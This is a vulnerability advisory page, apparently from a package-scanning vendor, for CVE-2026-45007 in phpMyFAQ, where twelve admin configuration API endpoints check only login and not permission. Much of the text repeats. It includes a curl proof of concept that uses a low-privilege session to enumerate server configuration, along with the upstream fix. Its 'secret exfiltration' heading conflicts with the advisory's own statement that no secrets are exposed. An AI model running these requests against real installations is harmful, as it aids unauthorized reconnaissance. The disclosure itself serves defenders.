Answer in brief
CVE-2026-45007 records a Medium severity secret exfiltration vulnerability in phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
Answer in brief
CVE-2026-45007 records a Medium severity secret exfiltration vulnerability in phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
Update phpmyfaq/phpmyfaq to 4.1.2; thorsten/phpmyfaq to 4.1.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanSecret Exfiltration describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-45007 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| phpmyfaq/phpmyfaqcomposer | <=4.1.1 | 4.1.2 |
| thorsten/phpmyfaqcomposer | <=4.1.1 | 4.1.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-45007 records a Medium severity secret exfiltration vulnerability in phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for phpmyfaq/phpmyfaq, thorsten/phpmyfaq.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate phpmyfaq/phpmyfaq to 4.1.2; thorsten/phpmyfaq to 4.1.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanSecret Exfiltration describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-45007 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| phpmyfaq/phpmyfaqcomposer | <=4.1.1 | 4.1.2 |
| thorsten/phpmyfaqcomposer | <=4.1.1 | 4.1.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-45007 records a Medium severity secret exfiltration vulnerability in phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for phpmyfaq/phpmyfaq, thorsten/phpmyfaq.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard## Summary 12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider. ## Details The `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63 public function list(Request $request): Response { $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct // ... } ``` The remaining 12 only check that the user is logged in: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353 public function translations(): Response { $this->userIsAuthenticated(); // ❌ Missing permission check // ... } ``` The difference between these two methods is significant: ```php // AbstractController.php:258 — login-only protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } // AbstractController.php:317 — login + permission check protected function userHasPermission(PermissionType $permissionType): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } $currentUser = $this->currentUser; if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) { throw new ForbiddenException(/* ... */); } } ``` There is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level. The 12 affected endpoints (all GET, all under `/admin/api/`): | # | Method | Route | Info Exposed | |---|--------|-------|-------------| | 1 | `translations()` | `/configuration/translations` | Available languages + current language | | 2 | `templates()` | `/configuration/templates` | Available themes + active theme | | 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options | | 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order | | 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting | | 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) | | 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment | | 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config | | 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config | | 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) | | 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) | | 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) | The `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `<option>` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration. ## PoC ```bash # Step 1: Authenticate as any user (even one with no admin permissions) # and obtain the session cookie (pmf_auth_XXXX) # Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission # Enumerate available languages and current language setting curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translations # Enumerate available templates and which is active curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/templates # Discover permission model by trying known values curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/perm-level/basic # Discover release environment curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/release-environment/development # Discover cache backend curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/cache-adapter/filesystem # Discover mail provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/mail-provider/smtp # Discover translation provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translation-provider/deepl ``` Expected: HTTP 403 Forbidden for a user without `configuration_edit` permission. Actual: HTTP 200 with configuration data in HTML option format. ## Impact Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate: - The instance's permission model (basic vs. medium) — reveals access control architecture - Whether the instance runs in development or production mode — development mode may expose debug info - The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks - The mail provider configuration — reveals infrastructure details - Available and active templates/themes — aids in targeting template-specific vulnerabilities - Translation provider (e.g., DeepL) — reveals third-party service integrations While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints. ## Recommended Fix Replace `$this->userIsAuthenticated()` with `$this->userHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods: ```php // In ConfigurationTabController.php — apply to all 12 methods // Before (line 355, and equivalent in all others): $this->userIsAuthenticated(); // After: $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); ``` Affected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`.
## Summary 12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider. ## Details The `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63 public function list(Request $request): Response { $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct // ... } ``` The remaining 12 only check that the user is logged in: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353 public function translations(): Response { $this->userIsAuthenticated(); // ❌ Missing permission check // ... } ``` The difference between these two methods is significant: ```php // AbstractController.php:258 — login-only protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } // AbstractController.php:317 — login + permission check protected function userHasPermission(PermissionType $permissionType): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } $currentUser = $this->currentUser; if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) { throw new ForbiddenException(/* ... */); } } ``` There is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level. The 12 affected endpoints (all GET, all under `/admin/api/`): | # | Method | Route | Info Exposed | |---|--------|-------|-------------| | 1 | `translations()` | `/configuration/translations` | Available languages + current language | | 2 | `templates()` | `/configuration/templates` | Available themes + active theme | | 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options | | 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order | | 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting | | 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) | | 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment | | 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config | | 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config | | 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) | | 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) | | 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) | The `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `<option>` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration. ## PoC ```bash # Step 1: Authenticate as any user (even one with no admin permissions) # and obtain the session cookie (pmf_auth_XXXX) # Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission # Enumerate available languages and current language setting curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translations # Enumerate available templates and which is active curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/templates # Discover permission model by trying known values curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/perm-level/basic # Discover release environment curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/release-environment/development # Discover cache backend curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/cache-adapter/filesystem # Discover mail provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/mail-provider/smtp # Discover translation provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translation-provider/deepl ``` Expected: HTTP 403 Forbidden for a user without `configuration_edit` permission. Actual: HTTP 200 with configuration data in HTML option format. ## Impact Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate: - The instance's permission model (basic vs. medium) — reveals access control architecture - Whether the instance runs in development or production mode — development mode may expose debug info - The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks - The mail provider configuration — reveals infrastructure details - Available and active templates/themes — aids in targeting template-specific vulnerabilities - Translation provider (e.g., DeepL) — reveals third-party service integrations While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints. ## Recommended Fix Replace `$this->userIsAuthenticated()` with `$this->userHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods: ```php // In ConfigurationTabController.php — apply to all 12 methods // Before (line 355, and equivalent in all others): $this->userIsAuthenticated(); // After: $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); ``` Affected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`.